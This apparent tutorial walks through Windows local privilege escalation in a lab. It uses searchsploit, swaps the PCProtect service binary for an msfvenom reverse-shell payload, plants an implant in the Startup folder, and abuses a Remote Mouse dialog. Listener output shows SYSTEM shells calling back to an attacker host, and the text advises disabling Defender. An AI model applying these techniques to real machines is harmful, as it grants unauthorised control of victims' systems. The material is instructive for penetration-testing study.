Certain vulnerabilities in applications can lead to privilege escalation. These can range from path hijacking to DLL hijacking and others as well.
Privilege Escalation via Vulnerable Applications
There are plenty of more bugs that can lead to privileges escalation such as stack-based buffer overflows.
We can find public exploits in the ExploitDB database, there is a tool named searchsploit which is a command line search tool for Exploit-DB that also allows us to take a copy of the exploit database in our systems.
1
2
3
4
searcshploit <app-name> windows privilege escalation
searcshploit <app-name> privilege escalation
searchsploit <app-name> windows local privilege escalation
searchsploit <app-name> local privilege escalation
Privilege Escalation via Write Permissions
In this section, we will discuss privilege escalation techniques that involve replacing the executable of a service. An application listed on ExploitDB, PCProtect 4.8.35, grants full permissions to any user. The author describes the following:
The application grants “Everyone: (F)” to the contents of the directory and its subfolders. Additionally, the program installs a service called “SecurityService” which runs under the “Local system account.” This configuration allows any user to escalate privileges to “NT AUTHORITY\SYSTEM” by substituting the service’s binary with a malicious one.
The proof of concept (PoC) is documented on the exploit page. We will follow those steps after installing the application, which can be downloaded here.
Based on the output above, we have writable permissions to the executable of the service named SecurityService. We will set up an SMB server on the attacker host and authenticate to the SMB service.
The services.txt file should have stored the output of the previous command and it should have returned us the permissions we have for the target service:
1
2
3
4
5
6
7
8
9
10
11
12
13
HKLM\System\CurrentControlSet\Services\EventLog\Application\SecurityService
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Administrators
KEY_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
KEY_ALL_ACCESS
HKLM\System\CurrentControlSet\Services\SecurityService
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Administrators
KEY_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
KEY_ALL_ACCESS
The output indicates that only the Administrators group and the NT AUTHORITY\SYSTEM have full access to the registry keys of this service.
Since we are part of the Administrators group, we can exploit this by replacing “SecurityService.exe” with our preferred payload or implant and wait for execution upon reboot.
For this demonstration, I will use an msfvenom-generated payload.
Note: Make sure to disable the Microsoft Defender Real-Time Protection or any other real time scanner.
The executable should run upon system restart, specifically when the system reaches the logon window (the screen where the user signs in). At this point, we should receive the reverse shell:
1
PS C:\Users\user>shutdown/r /t0
As expected we escalated our privileges from a default user to NT AUTHORITY\SYSTEM:
❯ nc -lvnp 443listening on [any]443 ...
connect to [192.168.119.130] from (UNKNOWN)[192.168.119.129]49670Microsoft Windows [Version 10.0.22000.493](c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami /all
whoami /all
USER INFORMATION
----------------
User Name SID===========================nt authority\system S-1-5-18
GROUP INFORMATION
-----------------
Group Name Type SID Attributes====================================================================================================================BUILTIN\Administrators Alias S-1-5-32-544 Enabled by default, Enabled group, Group owner
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
Mandatory Label\System Mandatory Level Label S-1-16-16384
<SNIP>
Privilege Escalation via Startup Applications
Run a command prompt or PowerShell console as an administrator and grant full permissions to the startup directory:
As we can see, the Users group can write to the Startup directory. Therefore, we can create a malicious binary or implant and place it in that directory.
Start a listener on the attacker host and then simulate an Administrator login using RDP. After a while, we should receive a shell running as an administrator:
❯ nc -lvnp 443listening on [any]443 ...
connect to [192.168.119.130] from (UNKNOWN)[192.168.119.129]49898Microsoft Windows [Version 10.0.22000.493](c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami /all
whoami /all
USER INFORMATION
----------------
User Name SID=========================================================================desktop-bn\administrator S-1-5-21-264094270-2388996790-3434637240-500
GROUP INFORMATION
-----------------
Group Name Type SID Attributes========================================================================================================================================================Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Performance Log Users Alias S-1-5-32-559 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
<SNIP>
Privilege Escalation via Insecure GUI Applications
The application Remote Mouse GUI version 3.008 is vulnerable to a local privilege escalation technique, which is the ability to open any binary as administrator, this includes a terminal/console. The author specifies the steps to reproduce:
Open Remote Mouse from the system tray
Go to “Settings”
Click “Change…” in “Image Transfer Folder” section
“Save As” prompt will appear
Enter “C:\Windows\System32\cmd.exe” in the address bar
A new command prompt is spawned with Administrator privileges
We’ll do those steps once we install the application. We’ll download the application, install it and then run it:
![[uac-remote-mouse.png]]
UAC Remote Mouse
Open the program from the system tray:
Mouse Open
Then click on the Settings tab and from there click on the "Change..." button in the “Image Transfer Folder” section
Remote Mouse Settings
Enter “C:\Windows\System32\cmd.exe” in the address bar:
Open CMD Settings
As the author describes, a new command prompt is spawned with System privileges: